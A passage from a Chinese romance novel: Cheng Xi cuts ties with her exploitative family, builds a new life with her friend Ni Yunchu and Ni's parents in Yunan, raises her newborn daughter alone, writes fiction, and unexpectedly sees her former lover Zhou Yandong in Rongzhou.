以前总是被父母混合双打,没想到这次母亲竟然好心帮她拦住了父亲,下一秒,程溪听见母亲对父亲说道:“收收你这臭脾气,程阳陪小丽逛街,说不定什么时候回来,要是让小丽看见家里闹成这样,她会怎么想? “程阳好不容易交上这么个富二代女朋友,你得给人家留下个好印象。小丽都说了,家和万事兴,你们父女两个打起来,叫小丽看见了,瞧不起我们家,甩了程阳可怎么办?” 程溪刚涌进心里的暖流瞬间冻成冰川。 家里鸡飞狗跳这一幕,怕摇钱树发现端倪跑了,怕失去到手的血包,再也吸不到人家的血…… 程溪眼眶含泪,嘴角挂笑,眨眼之间泪珠滚落,一片模糊中看向这对男女,深吸一口气,转身头也不回跑开。 她很后悔来这一趟,可转念又想,若是不来,恐怕永远也不会彻底死心。 来这一趟,听到这些叫人寒心的话,亲眼看到这一幕场景,她的心死得彻底,心脏像是一片一片碎裂开,她只能默默把这些碎片埋藏起来。 程溪仰头望着天空,长长舒出一口气:终于终于,没有遗憾了。 她想,从今往后,终于能了无牵挂地活着。 此时此刻,容今这间简朴整洁的小屋里,程溪靠在窗边,享受着微风和阳光的轻抚,她知道,其实自己也不算孑然一身。 天为父地为母,太阳月亮星星,都是她的好伙伴。 花草树木,万事万物。都将为她赋能。 她什么也不争,便什么都拥有。 《道德经》第二十二章里写:“夫唯不争,故天下莫能与之争。” 她全然放下内心的渴望,臣服于生活,臣服于当下,内心充盈着平和与喜悦,美好的感觉在心中不停流淌。 晚饭也是跟倪云初一起吃的,倪云初拉着她打火锅,她有些不好意思,提出每个月,交给她伙食费,倪云初欣然答应,笑着说:“也好也好,亲兄弟明算账,虽然我很喜欢你,但是金钱上算清楚,以后省得扯皮。” 两个人一边吃一边谈天说地,晚饭结束后,程溪自觉地去洗碗,倪云初在院子里伺候她那些花草树木。 程溪洗完碗,将厨房的地拖干净,走进院子,看着眼前五彩各异的花,顿觉赏心悦目,不由感慨:“真想一辈子住在这里……” 倪云初笑着问:“你不打算结婚生小孩啦?” 程溪摇了摇头:“不打算。” 倪云初看着她,认真说道:“我也是。婚姻对我来说是围城,是束缚。想想看,真要结婚了,我还怎么自由自在追星?现在多好呀,不需要结婚,网络老公一大把!谁叫我见一个爱一个!” 程溪指着流连在花丛中的大蝴蝶,拿她打趣:“谁叫你是花花蝴蝶来着?” 两人哈哈大笑。 倪云初带着她出去散了会儿步,回来后。又黏着她不放,随她来到房间,拍了拍脑门:“哎呀,把这个给忘了,等会儿!” 她一溜烟跑开,很快拎着两罐可乐回来,扔给程溪一罐:“人生知己难寻,让我们今晚把酒言欢!咳咳,以可乐代酒。” 程溪房间里有张靠着墙而放的木质沙发,倪云初一屁股坐下去,皱起眉头:“好硬!明天咱俩去家具市场看看,买张软沙发回来。” 程溪点点头,她喜欢窝在沙发里看书睡觉,木沙发硌得慌,确实得换一张:“沙发我来买。” 倪云初摇着头拒绝:“不用,我是房东,当然得我买。以后你要是搬走了,后面的租客也能用。” 程溪坚持要买:“知道你人好,为我钱包着想。别担心,我的钱暂时够用。” 见她态度坚决,倪云初犹豫一会儿,问道:“你是辞职了才过来的吧?” 程溪:“不是,我挺久没工作了。” 倪云初问:“那你以前做什么工作?以后打算干什么?” 程溪想了想,没将过往经历和盘托出,含糊说道:“以前在广城打过工,后来去了京州,一事无成。再后来就到这里咯,以后嘛,打算写写小说。” 倪云初瞪大眼睛:“写小说?网络小说吗?” 程溪:“对,上个月我开始在一家网站连载作品,反响很不错呢,马上要收费了,现在手头还有些积蓄,够挺一阵儿。看看收费以后能赚多少吧,如果够生活我就全职写,如果钱太少,就在这附近找找工作。” 倪云初双手合十放在胸前,下巴抵着指尖,满脸崇拜:“哇塞,小说家,好厉害呀!” 程溪连忙摆手摇头,态度十分谦虚:“不敢当,不敢当,就是个写故事的。” 倪云初凑过来,一个劲儿冲她抛媚眼:“你写的叫什么呀?我想去看看!” 程溪疯狂摇头:“不要!太尴尬了!让熟人看到自己写的小说,就跟被人看穿底裤似的,所以我绝不会跟任何熟人透露自己笔名。想想看,你要是我,熟人天天追你更新,你肯定会有思想包袱的,对吧?” 倪云初想了想,理解了他的心情:“确实,真要这样,我肯定这也不敢写那也不敢写,特别害怕有损自己在熟人心里的形象。那你家里人呢,父母知道你写小说吗?” 这个问题让程溪陷入沉默。 倪云初性子大大咧咧,但也不是傻的,见她眉眼间浮起忧愁,立马明白原生家庭应该是她难以言说的痛。 倪云初干咳几声,自己找了个台阶下:“其实人吧,成长过程中总会遇到各种各样的问题,面临大大小小的伤害,但好在我们平安健康地长大了,是吧?” 程溪深吸一口气,笑着重重点头:“长大真好。你知道吗,我大学靠自己勤工俭学,累死累活攒了五万块钱,被我爸妈知道后,以我弟弟生病家里没钱给他治为理由,硬逼着我把那五万块转给他们。 “后来我才知道,我弟弟吃得香睡得好,身体健康得很,压根没生病,我爸妈只不过想从我这把钱抢走罢了。他们生下我的唯一目的,就是想榨干我身上能利用的每一滴价值。” 倪云初听着她描述过往经历,心疼得红了眼眶,忍不住张开双臂抱住她,哄孩子似的轻轻拍着她后背:“可真是苦了你了!你爸妈真不是人,还有你那个弟弟,真讨厌!没关系,以后咱们再也不跟他们来往。” 程溪鼻音很重:“不会再来往了,我现在有了新的家人,不是吗?” 她从倪云初温暖的怀抱中出来,眼含热泪面带微笑。 倪云初明白这话什么意思,程溪还没哭出来,她便感动得落泪,对她剖心致腹:“我从小到大,直到大学毕业之前都特别胖,从小没少遭受白眼和冷嘲热讽,一直没什么人愿意跟我做朋友,不是被嫌弃,就是被欺负。我的朋友很少很少,所以,程溪,能够成为我的朋友,就已经成为了我的家人……” 程溪捏捏她的脸,举起易拉罐。 倪云初秒懂,也举起自己那罐可乐,程溪跟她碰了碰杯,大声喊道:“友谊万岁!” 两个女孩望着彼此,笑中带泪。 这晚两个人促膝长谈,聊到半夜才依依不舍分开。 倪云初困得双眼发红,哈欠连天走出她房间。 程溪困劲儿也上来了,迅速洗了个澡,吹干头发躺在床上。 夜里仍有虫鸣,不知是洗完澡后困劲儿消了,还是虫鸣赶走了瞌睡,她忽然又睡不着了,拿起手机准备上网冲浪,发现收到好几条新短信。 这些短信都是尹岚发来的。 【程溪,你现在在哪儿?吃得好吗?住得惯吗?生活上要是有什么难处,一定要跟阿姨说,千万别跟我客气,知道吗?】 【程溪,你性子软,不爱跟人争抢,这样在外面容易受欺负。你别表现得太淡然,该争的争,该抢的抢,要坚定地维护自己利益,这样别人才不把你当个软柿子捏,明白吗?要是有人敢欺负你,告诉阿姨,阿姨帮你想办法收拾他!】 【程溪,阿姨很想你……你走以后就跟阿姨断了联系,阿姨不知道你去了哪儿,过得怎么样,阿姨心里特别不踏实。有时候心慌意乱的,一会儿怕你出事儿,一会儿怕你过得不好……】 【阿姨知道,你是对东子彻底失望了才走得这样决绝。哀莫大于心死,阿姨不怪你。虽然阿姨替你和东子惋惜,可阿姨想,既然你下定决心要走,便是选了一条最想走的路,你是自由的,放心大胆地去你想去的任何地方吧!如果需要任何帮助,一定一定要联系阿姨!】 最后一条短信是凌晨十二点半发的,与前一条隔了两个小时。 得很。程溪,给阿姨回个消息好吗?哪怕就一个字……告诉阿姨,让阿姨知道你还平安,你很好,可以吗?】 程溪默默捧着手机,眼睛被泪水模糊,什么也看不清。 哭了许久,她打出很长很长一段话,却又迟迟没有点击发送,就这么捧着手机犹豫了半个小时,终是将这条未发送的短信一个字一个字完全删除。 她知道,自己不该如此狠心;可她也知道,一旦回复尹岚任何消息,自己必将功亏一篑,注定无法彻底地拥抱新生活。 她咬着牙,关掉手机,又将手机塞进床头柜抽屉里,翻身背对着床头柜,捞起被子蒙住脑袋。 此刻困意全无,满心满脑被愧疚和难过占据,程溪躲在被子里哭。 今晚的眼泪为尹岚而流。她好不容易遇到一个视她如亲人的长辈,她在心里暗自将尹岚视为母亲,可偏偏造化弄人,往后自己再不能与这个“妈妈”有任何联系…… 程溪在被子里痛哭流涕,哑着嗓子一声一声说着:“妈妈……妈妈,原谅我吧……” 她在心里大喊:“妈妈,我也很想很想你!妈妈,我会好好的,好好照顾自己,好好活下去!妈妈,今生今世,有朝一日,我们还会再见面吗?” 程溪哭得累了,哭不动了,在疲惫中睡了过去。 世事难料,让程溪没想到的是,当他不得不面对离开尹岚这位母亲的痛苦时,她自己,已经成为了母亲。 九月初,程溪发现自己怀孕了。 例假拖了许久都没来,起初她没当回事,有一天心里忽然升起不祥的预感,慌慌张张,买了验孕棒回来一测,两道杠。 她吓得腿软,赶忙打车去医院检查,拿到结果后,不止腿软,浑身都是软的,靠着医院的墙,想哭,却连流泪的力气都没有。 回到家,程溪彻底扛不住了,崩溃大哭,在日记里愤怒地骂天骂地,怨命运不公。 她狠狠哭了一整夜,被恐惧,迷茫,难过和无助裹挟,找不到人诉说内心的无尽痛苦。 倪云初家里有事回容州去了,她一个人待在这儿,白天黑夜,都是如此孤单。 早上起来,程溪给自己煮了碗面,吃面时,心里冒出一个想法。这想法让她愣住,随即才明白,原来这个孩子是上天送给她的礼物。 她恍然大悟,轻抚着自己小腹,对腹中那颗小小的种子说:“以后妈妈陪着你,你也陪着妈妈。” 她想起老家山林里的那棵大树,不禁笑了,现在自己也将成为一棵大树,替她的孩子遮风挡雨。 肚子一天天大起来,倪云初发现不对劲,问她怎么总穿这么宽大的衣服,她知道这事瞒不久,便摸着肚子告诉她,自己即将成为妈妈。 倪云初吓一大跳,以为程溪在开玩笑,手掌轻轻落到她腹上,摸到了凸起的地方,结结巴巴问:“你、你、你真打算生下来呀?” 程溪点头。 倪云初惊呼:“疯啦!” 程溪摇头。 倪云初噼里啪啦问出一大串问题,程溪要避重就轻,顾左右而言他,要么笑而不语闭口不答,倪云初想知道的。什么也没问出来,气得大半天没理她。 后来倪云初想通了,屁颠屁颠跑到程溪身边,轻轻摸着她肚子,笑着说道:“那以后我就是孩子小姨喽!” 程溪掌心放在她手背上:“从今以后,我多了个亲人,你也多了个亲人。” 两人相视一笑,又都红了眼眶。 春节期间,倪云初家里人回来过节,程溪发现她家里人都挺好的,只是有时比较啰嗦。倪云初听不得念叨,嫌他们烦,但这些饱含爱意的关怀是程溪从未得到过的,她不禁心生羡慕。 除夕夜那晚,倪家一家老小都在,有人看春晚,有人打麻将,倪云初怕听长辈碎碎念,躲在房间欣赏男神们的跨年表演。 程溪独自走进院子里,望着墨蓝色夜空,内心说不上什么感觉,没有很开心,也没有很难过,只是有些莫名的难以形容的情绪在这平凡而温馨的节日中无声蔓延。 她发着呆,没注意身后有人走来,直到一个温柔的声音响起:“程小姐,给你带了鲜花饼,尝尝看。” 程溪扭头才发现倪云初母亲已经来到自己身边,手里捧着一盒鲜花饼。 她赶忙接过这份礼物,连声道谢:“太感谢您了,谢谢您惦记着我!” 倪云初母亲笑容慈祥,说道:“我们家初初性格急躁,以前外形也不好看,这么多年没什么朋友,难得遇上你这么投缘的闺蜜,我们该谢谢你才是,你让她开心很多。” 程溪被夸得不好意思:“很多事情我只能劝解安慰,最关键是她自己想得开。初初人很善良,性格也好。脾气确实急了点,但瑕不掩瑜,跟她做朋友我也很开心。” 倪云初母亲面上笑容更深:“孕期要控糖,我们特意买的低糖饼,甜味很淡,你看看喜不喜欢。这家店生意很好,初初他爸一早就去排队。买了好多盒,吃完还有。你要是喜欢,以后我们常买,从容州给你寄过来。” 程溪感动得失语,默默看着这位长辈,红着眼摇了摇头:“不太麻烦你们了,其实容今的鲜花饼也很好吃,整个云安就找不出难吃的鲜花饼。你们惦记着我,大老远给我带东西,我已经很幸福很满足了,以后千万别——” 不等她说完,倪云初母亲笑着打断:“怕麻烦我们是吧?” 程溪点了点头。 倪云初母亲转脸看向花盆里的一颗小树:“人跟人之间,有时候就是得互相添麻烦。你麻烦我一下,我麻烦你一下,彼此在麻烦中产生羁绊,在羁绊中有了感情。太怕麻烦别人,是一种过度的自我防卫。” 说到这,她有些不好意思,抱歉地问道:“我是不是又多嘴了?初初老嫌我多嘴。唉,没办法,当了一辈子老师,就是话多,改不掉。” 程溪飞快摇头:“或许对初初来说,您的叮嘱和教导是负担,但对我而言,这番话让我觉得很温暖。从小到大,我听妈妈说得最多的话,就是埋怨,有时候甚至是恶毒的咒骂。每当看到别人有个好妈妈,我都十分羡慕。” 老一辈人眼窝浅,听到这话,倪云初母亲心疼得眼含泪光,握住她得手,目光慈爱,鼓励道:“孩子,向前看,虽然你没有一个好妈妈,但我相信,你一定能够成为一个好妈妈!” 倪云初母亲忍不住抱了抱她。 程溪偷偷落泪,心里想:这一路,她不是孤单前行,她被自己治愈,也被旁人治愈。她的世界,再也不是阴冷、灰暗、孤寂的。 在这个充满欢声笑语的除夕夜,程溪敞开胸怀,坦然拥抱过去,安然享受当下,也欣然迎接将来。 第二年六月中旬,她的宝宝来到人间,她给孩子取名“程妙瑾”,小名唤做“妙妙”。 这是她和周衍东曾经的约定。 妙瑾妙瑾,美好玉石。 这名字寓意实在太好。 小家伙出生那天,外面下着暴雨,程溪疼得死去活来,像是脚踩鬼门关,又终于卯足了劲儿回到人间。 孩子的哭声如同照进黑夜中的阳光,把眼前的昏暗瞬间点亮。 看着她红彤彤皱巴巴的小脸,程溪脑海中忽然浮现出一个问题:如果周衍东看到孩子长这样,会不会嫌她丑? 程溪虚弱地晃了晃脑袋,心想:怎么会问自己这个!以后最好都不要再想起这人。 她下定决心,但本能难违,整个月子期间,程溪仿佛被人下了蛊,脑子里总是时不时浮现起周衍东的脸,也总是不禁好奇许多问题,比如—— 他会喜欢这个孩子吗? 这辈子他和这个孩子会见面吗? 他能当好一个称职的父亲吗? 他愿意屈尊给孩子冲奶粉换尿布吗? 等女儿大一点,他会辅导她写作业吗? 孩子要是脑子笨,功课学不好,父女俩也会闹得鸡飞狗跳吗? 女儿再大一点,要是早恋,他会怒气冲冲揍那个不知天高地厚的臭小子吗? 女儿成年以后,领男朋友回家,他管又管不了,说又没法说,会不会气得整宿整宿睡不着? 女儿结婚那天,他牵着她走过那一小段路,将她的手交给新郎那一刻,他会流泪吗? 日日夜夜,程溪脑子里时常冷不丁冒出这些问题。 她以为自己足够坚强,足够乐观,足够看得开,足够放得下…… 然而,在某个深夜,里到底还是忍不住偷偷抱着女儿哭。 她不知自己到底怎么了,明明已经有了女儿,明明多了一个亲人,偶尔内心深处浮现的孤独,依然无法消除。 她问自己是否还爱着周衍东,发现自己也找不到答案。 对他的爱难道不是早已消磨殆尽了吗? 她在那段日子里钻牛角尖,试图弄清这个问题,将自己内耗得疲惫不堪。 转眼到了八月三日。 每年这一天,程溪在看到日期的第一时间,总能想起这天是周衍东生日,又总会情不自禁怀念他们初遇的日子。 二零零九年八月三日这天,她把一个漂亮的男孩带回了家。 她想,或许自己永远也忘不掉这个日子,永远也忘不掉那个夜晚,因为它太美好,太奇妙,太独特了…… 程溪抱着熟睡中女儿,抬手抹了抹泪,问自己,生下这个孩子,后悔吗? 未来周衍东必将娇妻陪伴,子孙满堂,而自己绝不会再另寻他人,只会独自带着孩子走完这一世。 这与忠贞无关,她只是不再对爱情抱有任何期待。 程溪脑海中想象着周衍东抱着他和妻子的孩子开怀大笑的画面,泪水不断从眼眶涌出。 她发现自己一丁点也不嫉妒那个嫁周衍东的女人。 她想起曾经尹岚对自己许过的那个承诺。 那个让她忍一忍,再忍一忍,忍到合适的时机,尹岚便想法子让她和周衍东偷偷领证的承诺…… 她问自己:程溪,你后悔吗? 当初尹岚许下这个承诺后,程溪便不再跟周衍东闹了。 尹岚以为,这是她权衡利弊后做出的选择;周衍东以为,这是因为她在经历波折后成熟懂事了。 只有她自己知道,即便可以成为名正言顺的周太太,即便可以长长久久陪在周衍东身边,她还是选择放手。 她要的,从来就不是荣华富贵,而是自由,是幸福。 婚姻是一条绳索,必定会将自己和周衍东都绑住,会让两个人都不幸福。 她渴望幸福,也希望周衍东能幸福。 或许除了自己之外,没人能懂,她彻底放手的那一刻,心中期盼着周衍东此生能够寻得真正属于他的幸福。 她亲手舍弃了“周太太”这份厚礼,舍弃了嫁入豪门这个此生难逢的跨越阶级的头奖,只为成全自己,也成全他。 她不后悔。 她从不后悔。 第57章 二十五岁。 二零一二年八月二十六日, 程溪二十五岁了。 女儿的出生让她的生活发生许多改变,心理和状态不像从前那么稳定,时而没由来的开心,时而没有来的难过, 时而因为小事而感恩知足, 时而又因为小事而悲伤痛哭。 她曾怀疑自己是否患上了产后抑郁症, 特意去医院检查,所幸没有。 医生说她只是产后变得比较敏感, 这很正常,让她多注意休息, 凡事多往正面想。 程溪是生日这天去的医院,一回来, 倪云初就拉着她问:“怎么样?结果还好吗?” 她把医生的话转述给倪云初,倪云初拍拍胸脯说了句“幸好”,又紧紧握住她的手:“还好没抑郁, 真要抑郁了,很难走出来的。我有个远方亲戚就是得了产后抑郁, 然后就……” 倪云初伸出食指往上指了指, 接着拐个方向,又往下指了指。 程溪明白, 这是跳楼轻生了。 她冲倪云初摇摇头:“这辈子最难最痛最委屈的时候, 我都没有选择离开这个世界, 现在也不会。” 倪云初抱住程溪, 明明跟她同岁,还大她两个月,跟她相处时反倒像个小妹妹。 “程溪,你要是一辈子不找男人, 我也再不找男人了,咱俩就这么搭伙过日子。唉,谈恋爱可真难……” 倪云初今年经历了一段三个月的网恋,网上聊得好好的,一见面男方就给她甩脸子,回去后直接提分手。 她以为自己哪里做得不好,网上追着人家问:为什么不要她?凭什么不要她? 人家理直气壮来一句——“看看你那样子,还好意思问这话!凭什么?就凭你是个照骗!就凭你胖成那死样!” 倪云初终于看清这人的真实嘴脸。 事实上,这男人长得也不尽人意,尖嘴猴腮,面相凶恶,倪云初发在网上的照片确实P了一些,但并不过分,只是皮肤看上去比实际好一些,脸稍微瘦一些,可不像这男人,把自己P得跟男明星似的。 她今年是比以前胖了点儿,可她身高1米68,以前体重,115斤,春节期间吃得太猛,直接长到125斤,一直没减下来。 在程溪眼里,现在的倪云初绝对算不上肥胖,程溪反倒觉得她的身材非常匀称,健康又丰满。 程溪不断地鼓励她,可无论怎么用言语和行动给她力量,效果都并不显著。 经历这场见光死的网恋后,倪云初对现实中的男人有了阴影,越加热爱追星。程溪知道,她其实是在逃避现实。 听到她说要和自己搭伙过一辈子,程溪开玩笑说道:“哎呀,你别是对我有意思吧?” 倪云初腆着脸凑过去,抱着她胳膊撒娇:“姐姐姐姐!你怎么知道人家喜欢你呀?” 程溪撇撇嘴假装嫌弃:“明明比我大,还好意思叫我姐姐?” 倪云初:“我生理年龄确实比你大一点,心理年龄可就小多啦!你今天才满二十五岁,心理成熟得跟四十岁一样,我呢,内心住着一个十四岁的小女孩。” 说到这,她闭着眼摇头晃脑唱起歌:“我不想我不想不想长大~长大后世界就没童话~~~” 程溪笑起来,拿她没办法,目光如长辈般慈爱,轻抚着她的齐肩短发:“我感觉自己现在有两个女儿,一个刚出生没多久,另一个,都二十五了!” 倪云初扑哧笑出声,死皮赖脸追着她叫妈妈。 平淡而温馨的日子一天天往下过,十二月,程溪结束了一本长达八十万字的言情小说。 这部小说给她带来了二十万元收益,编辑非常看好她,也提出了建议,说她文字功底扎实,语言精炼,更适合写偏现实向的故事,这种类型很容易让人产生代入感,也更容易卖出版权。 程溪告诉编辑,自己害怕现实向的故事赚不到钱,毕竟跟随随便便出手几十亿的霸道总裁比起来,她想写的充满烟火气的真实生活和普通男女,就显得非常平庸,她怕读者不买账。 编辑鼓励道:“如果你很会写传统的霸道总裁文,那很好,可是你更适合写现实生活中的普通男女,并且写得很不错,我站在读者角度来看,觉得更顺畅,个人也更喜欢。为什么不写适合自己的类型呢?我看得出来,后者才是你真心想写的。” 程溪仍然犹豫:“可我还是好怕写那种故事赚不到钱……” 编辑问: 程溪:“道理我都懂,可我得生活呀!” 编辑还是那句话:“不试试怎么知道赚不到钱?不试试怎么知道别人喜不喜欢?勇敢一点,先迈出第一步,好吗?” 和编辑的这次聊天,让程溪对未来的职业规划有了很大转变,她决定听编辑的建议,勇敢迈出第一步,尝试去写自己真正喜欢也适合的题材和风格。 十二月中旬,程溪决定去趟容州,去那里住几天,感受一下当地的生活。 倪云初知道,她想写一个发生在容州的爱情故事,便好奇问道:“为什么非得是容州?容今也不错呀,四线城市很容易写出小镇文学的疼痛感。” 程溪解释:“我的男女主是从容今来到容州打工的一对青梅竹马。” 倪云初懂了一点,问:“既然是现实向,我猜,你是不是要写两个小镇青年到了大城市的转变?” 程溪点了点头,冲她竖起大拇指:“聪明。” 倪云初又问:“那他们最后八成会分手,对吧?” 程溪挑眉:“为什么这么说?”还真给她猜对了。 倪云初说道:“一般这种都没什么好结局。小年轻在小城镇里没见过什么世面,都觉得对方是自己此生最爱,等去了大城市,生活节奏比以前快,压力比以前大,但选择比以前多了,同样,诱惑也多了起来,这时候彼此都会发现,或许对方对自己来说并不是最好的选择,所以最后分手的居多。” 程溪笑而不语,淡淡勾着唇角,眼里却并没有笑意,反倒藏着哀伤。 她想起了曾经的周衍东和自己。 当初两个人在一起时,最穷的那段日子,反而最幸福。 跟着他回到京州后,随着财富不断增加,权力不断扩大,地位不断增高,周衍东还是变了。 想到这,程溪不禁摇了摇头,觉得自己这个想法不对。 其实并不是周衍东变了,而是他本就如此,他和她,本就不属于同一个世界,本就不对等。 程溪去容州的前一天,倪云初父母来容今看她们,听程溪说要去容州,还要把孩子带上,倪母觉得不妥,劝道:“妙妙这么小,还是别带着她四处跑了。” 程溪:“半岁了也不小了,容州那么近,很快就到了,我住个好一点的酒店,白天推她四处转转,晚上回酒店再工作。” 倪父说道:“你这次过去主要是为了工作,带着这么小的孩子,怎么能安下心来?现在想得是挺好,觉得自己安排规划得很妥当,等到了那儿,一个人带着孩子就知道计划赶不上变化,压根没法好好工作。” 程溪还想说什么,被倪母抢先问道:“打算在容州待几天?” 程溪:“一个星期。” 倪母:“那也不久,你安心去吧,别住酒店了,就住我们家,孩子留在容今,我和初初她爸正好闲着没事儿,这阵子又懒得跑出去旅游,就在这给你带妙妙。” 说着,倪母看向倪云初:“你呀,看看人家程溪,比你还小一点,孩子都半岁了!你呢?不是网恋就是追星!给你介绍的男人,这瞧不上,那看不起,相亲都懒得去,什么时候才能踏踏实实找个对象结婚生子?趁着这次机会,好好带带孩子,激发点儿母爱出来。” 倪云初打了个冷战,愁眉苦脸看着父母。她很喜欢妙妙,妙妙带给她许多快乐,也确实激发出她许多母爱来,可真要让她自己生小孩儿,她是万万不乐意的。 听到母亲这话,倪云初立马抓着程溪胳膊:“哎呀,我突然想起个事儿,必须跟你一起去趟容州!” 程溪微微挑眉,看着她,一眼看破她什么心思。 倪父也看出来了:“你少在这装!好端端的,突然能有什么事?肯定是犯懒不想带孩子。” 程溪立马替倪云初说话:“叔叔,不是这样的,初初对妙妙很好,很喜欢她,平常没少帮我带她。” 倪母抬手挥了挥:“嗐,我知道,她肯定是怕跟我们待在一起,嫌我们唠叨,总爱说她不喜欢听的。” 倪云初一脸震惊:“哎哟,母亲大人,原来您都知道啊!” 倪母伸出食指戳了戳她脑门儿:“你少跟我皮!” 倪云初抓着程溪不撒手,一个劲冲母亲眨了眨眼,嬉皮笑脸:“程溪来云安这么久都没去容州好好玩过,我得去给她当导游!” 程溪知道倪云初心里苦,赶忙帮腔:“叔叔阿姨,我来云安这么久,确实没怎么在容州待过。当初来这里,很快就发现怀孕,又忙着工作,不敢到处乱跑。孩子生下来也没空出去。正好初初熟悉容州,领着我上那儿到处转一转,孩子我还是自己带在身边吧,您二老年纪大了不方便——” 不等她说完,倪母“啧”一声,皱着眉打断:“要玩就好好玩,要工作就好好工作,拖着个孩子什么也干不好。我跟初初她爸虽然上了年纪,可还没老到连奶娃娃都带不了的地步,你们俩啊就安心去容州,孩子交给我和初初她爸。” 倪云初开心得跳起来:“太好啦!妈妈你答应啦!” 倪母板着脸看她:“希望你在容州偶遇一个看得上眼的大帅哥。也真是服了你了,眼光这么高,嘴上说着只要长得干干净净就好,干干净净是个什么标准?那得长成男明星那样,在你眼里才算干干净净!哎,还没说完呢,跑什么跑!” 倪云初一溜烟冲回自己房间,砰地将门摔上。 倪母对着丈夫和程溪摇头叹气,抱起婴儿推车上的妙妙,笑容慈爱,跟方才看女儿时完全不一样,一边轻轻戳着妙妙圆乎乎的小脸蛋,一边说道:“我要是能有这么个可爱的孙女就好咯!” 倪父也凑过来,笑眯眯看着妻子怀里的宝宝,说道:“程溪跟初初处成了姐妹,这孩子也算是咱们孙女了。程溪,你就当我们是你干爸干妈得了。” 程溪以为他是开玩笑,也开起玩笑:“那咱们可得准备个跪拜仪式。” 其实倪父这话并非玩笑,倪母也正有此意,温柔地看着程溪:“形式化的东西咱们就不搞了,你呀,以后改口叫我们干爸干妈,我们就算是一家人了。” 程溪看着他俩认真的表情,才知道两位长辈是多么真诚。 她含着热泪,哽咽地轻轻唤:“干妈,干爸……” 她想说句感谢的话,可喉咙堵得发紧,再说不出半个字。 倪父倪母相视一笑,点头应了一声,倪母道:“你跟初初安心去容州,这个小孙女儿就交给我们俩,自己爸妈帮着带,总算放心了吧?” 程溪撇着嘴,到底忍不住哭了。 倪母将孩子放进丈夫怀里,牵着程溪的手回到房间,好一番安慰才将她眼泪止住,两个人在房里说了许多体己话,真像是处成了亲母女。 第二天,程溪和倪云初一早出发去往容州。 倪云初开着父亲的车走高速,一个半小时便到达容州市内。 两人来到倪云初在容州的家放了行李,倪云初欢天喜地带着程溪开始了这趟旅程。 见她这么兴奋,程溪有些不理解:“怎么感觉你比我这个外地人还喜欢容州,没玩腻吗” 倪云初说:“我对容州那是再熟悉不过,早就没什么新鲜感了。但我还是头一次带好朋友一起来这玩儿,我可是身兼导游这项重职啊!容今是我的地盘,容州也是,我知道哪里好吃哪里好玩,迫不及待想要跟你一起分享。” 吧,倪云初这会儿肚子饿得咕咕叫,立马带程溪来到一家米线店,点了两份豆花米线。 她告诉程溪:“这家店开了二十年,我小学和初中是在容今读的,高中考上容州重点中学,那时候住校,每个周末放学第一件事不是回家,而是来这里吃豆花米线。” 程溪在容今吃过豆花米线,这家的味道确实更胜一筹,难怪倪云初这么喜欢。 吃完米线,倪云初又带着她在路边买了烧饵块,一边吃一边逛古城景区。 这里的古城早已商业化,但人来人往十分热闹,特色商品种类繁多,程溪逛得不亦乐乎。 逛完古城又逛了两个景区,下午五点,倪云初带着程溪来到自己最爱的一家烤鸭店,等待上菜的过程中,倪云初说道:“据说这种烤鸭跟京州烤鸭以前算是同一个派系,只不过后来做了些改动。你在京州待过,肯定吃过京州烤鸭吧?” 程溪点点头:“吃过,很好吃,但多吃几块就觉得腻。尤其是鸭皮蘸白糖,第一口完全惊艳,第二口还是很香,第三口嘛……嗯,我一般不会吃第三口,都是放弃鸭皮开始吃肉。” 倪云初:“这的烤鸭是用小麻鸭做的,我超爱!” 没一会儿,服务员将烤鸭端上桌,程溪尝了尝,不禁点头称赞:“跟京州烤鸭确实不太一样,但味道并不输它。难怪我们初初减不下肥呢,谁叫云安好吃的太多。” 倪云初嘿嘿一笑,舔了舔唇:“本来想先带你去吃野生菌火锅,不过我们在容今经常吃,对你来说好像没什么新鲜感,就先来吃这个啦。好了不说了,我要正式开动!” 倪云初专心致志享受美味,大快朵颐毫不顾及形象,程溪见她实在可爱,忍不住偷偷拍了张照。 从烤鸭店出来,两人沿着街边散步。 “明天下午咱们去云池那边喂红嘴鸥吧!准备好面包馒头。有些人喜欢喂薯片,红嘴鸥确实爱吃零食,但我觉得不太健康,喂她们那个于心有愧呀。”倪云初说。 程溪笑起来:“你知道不太健康,自个儿还总抱着薯片咔嚓咔嚓啃!” 倪云初:“这种不健康的食物就由我来吃吧,我可舍不得残害可爱的红嘴鸥啊!” 程溪又被她逗乐,忽然听见前方传来富有节奏的音乐声,扭头望过去,只见一群人围在不远处的广场中。倪云初也听见了声音,拉着程溪往前跑:“快过去,那边在打跳!” 打跳这种活动在云安省内很常见,程溪在容今也见过。每次看别人打跳,她都会情不自禁被欢乐的气氛感染,这次也不例外。 倪云初拉着程溪跟着音乐律动,程溪脸上笑容灿烂,放眼望去,所见之处皆是欢声笑语。 此时虽是傍晚,可她心里一片晴朗,正要收回目光看向倪云初,眼神不经意扫过某处时,程溪愣了愣,又望向那边,整个人彻底呆住。 不远处,舞动的人群中站着一个高挑顷长的身影。 那身影伫立不动,冷静得太突出,与周围格格不入。 程溪眨了眨眼,以为自己看错了,深呼吸后又定睛看过去。 夕阳下,那副熟悉的面孔在浅橘色余晖中俊美得如同画中人。 程溪目不转睛看着那张脸。 五官还是那五官,她熟悉得不能再熟悉,可整张脸透露出的神情和气质却让她有些陌生。 程溪心想,他也才二十五岁啊,容貌依然俊朗年轻,可眉目间的沧桑忧郁,竟像是上了年纪的落魄中年人。 周围仿佛被按下了静音键,一切声音消失,其余人也都变得模糊,程溪的视线里,只有不远处静静伫立的周衍东。 她转身就走,倪云初发现她不见,追过来,气喘吁吁问:“怎么走啦?多好玩呀!” 程溪蹙着眉摇了摇头:“我不太舒服,先回去了,你玩儿吧。” 倪云初放心不下她,还是跟着一起回去了。 程溪早早洗澡睡下,自然是睡不着的,躺在床上辗转反侧,满脑子都是周衍东那张淡漠的面孔。 她想起早些时候,他们还没分手,她就跟周衍东提过想来容州旅游,因为听说这里四季如春,景色宜人。 周衍东说现在太忙,没空,以后有时间一定带她去。 那时候程溪还没流产,也没打定主意要离开他。 那时候两个人都不知道,他们再也没有以后了。 又是一年除夕夜,程溪更新完小说章节,关掉电脑,起身来到床前亲了亲熟睡的女儿。 手机在床头柜上震动一下,她拿起来看,有条新短信。 竟是尹岚发的。 【程溪,新年快乐!阿姨昨晚梦见你了,梦里你过得很好,醒来后阿姨特别高兴,我想,现实中你也一定过得很好,早已开始了幸福的新生活,所以才不想联系阿姨,对吗? 